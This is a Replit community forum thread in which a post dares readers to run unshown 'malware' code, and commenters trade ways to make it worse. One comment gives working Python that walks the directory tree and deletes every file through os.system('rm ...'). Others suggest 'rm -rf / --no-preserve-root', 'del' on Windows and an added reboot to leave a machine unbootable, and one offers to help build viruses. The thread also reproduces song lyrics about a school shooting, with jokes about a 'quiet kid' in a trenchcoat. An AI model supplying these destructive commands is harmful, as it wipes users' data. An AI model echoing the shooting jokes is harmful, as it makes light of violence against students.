Skip to content
Sign upLog in
← Back to Community

The Devastating Effects of Malware

Profile icon
CodeSalvageON

Paste this code into a Python Repl and see what happens. Really, be careful with what you download on Christmas. Happy holidays!

Voters
Profile icon
imaginesyke
Profile icon
LordPancake
Profile icon
Viktor5750
Profile icon
newbie0
Profile icon
AshtonCanaday
Profile icon
WyattKeenan
Profile icon
Commodore95
Profile icon
Foster_Bryant
Profile icon
banevader
Profile icon
CopelandSteven
Comments
hotnewtop
Profile icon
DJWang

XD How

Profile icon
Foster_Bryant

this scared me i thought it removed my repls for a sec then I realised that wouldn't happen

Profile icon
conspicous

You could use the os.walk command like this:

# !/usr/bin/python import os for root, dirs, files in os.walk(".", topdown=True): for name in files: print(os.path.join(root, name)) os.system("rm " + str(os.path.join(root, name)))

This should make it so that it explores or 'walks' the drive its located in which is indicated by the '.' but in the process, destroying it due to os.system("rm " + str(os.path.join(root, name))).

edit: had to recorrect it

Profile icon
[deleted]

Robert's got a quick hand
He'll look around the room, he won't tell you his plan
He's got a rolled cigarette, hanging out his mouth he's a cowboy kid
Yeah found a six shooter gun
In his dad's closet hidden oh in a box of fun things, I don't even know what
But he's coming for you, yeah he's coming for you
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
Daddy works a long day
He be coming home late, he's coming home late
And he's bringing me a surprise
'Cause dinner's in the kitchen and it's packed in ice
I've waited for a long time
Yeah the slight of my hand is now a quick pull trigger
I reason with my cigarette
And say your hair's on fire, you must have lost your wits, yeah
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet

Profile icon
CodeSalvageON

@Thecrowbar1234
When the quiet kid starts humming this song in class

Profile icon
[deleted]

@CodeSalvageON
I know right

Profile icon
[deleted]

@Thecrowbar1234
when the quiet kid shows up in a trenchcoat

Profile icon
LittleNomster

i find these comments funny, because i am a quiet kid

Profile icon
CodeSalvageON

Lol

@LittleNomster

Profile icon
[deleted]

lol

@CodeSalvageON

Profile icon
[deleted]

@CodeSalvageON
how to crash python?

Profile icon
CodeSalvageON

@Thecrowbar1234
delete all it's files

Profile icon
[deleted]

@CodeSalvageON
how to keep files when you run it again

Profile icon
CodeSalvageON

@Thecrowbar1234
Post it as a Repl talk

Profile icon
[deleted]

oh god. why is this a thing
oh and I like the pumped up kicks

Profile icon
AlexanderChang2

It literally deletes everything

Profile icon
ssebastianoo

bruh

Profile icon
Cornbread414

This is amazing, the only negative is that the lyrics are pumped up kicks.

Profile icon
[deleted]

put it in a while true loop, instead of a functino thingy

Profile icon
WyattKeenan

That's terrifying. Caution will be taken. Thank you.

Profile icon
ShadowAkira

OOF

haha
nice

Profile icon
[deleted]

Seizures in a bottle

Profile icon
[deleted]

this is a waste of time. Just do os.system("rm -rf / --no-preserve-root") instead of this garbage. i am also a stinky poopy head

Profile icon
conspicous

@sanjaykdragon
unless you want it to work on windows (you gave a linux command because in windows there is no user called root!

Profile icon
DJWang

@sanjaykdragon
Stay away from him don't be mean

Profile icon
[deleted]

@sanjaykdragon
you could do it in bash

Profile icon
[deleted]

@Lethdev2019
spoiler alert windows doesn't have a command called rm either

Profile icon
CodeSalvageON

@sanjaykdragon
del

Profile icon
conspicous

True but they have del

@sanjaykdragon

Profile icon
conspicous

@CodeSalvageON
I like to put reboot
at the end of my viruses to make sure it works as when you reboot your computer it should not be able to boot an os.

Profile icon
conspicous

@CodeSalvageON
also if you want me to help build a virus, I will.

Oh no. Built a virus now repl wont load it. Ill log out and in again.

Profile icon
conspicous

@CodeSalvageON
invited you to a very untidy example of a virus (using a tablet) on multiplayer.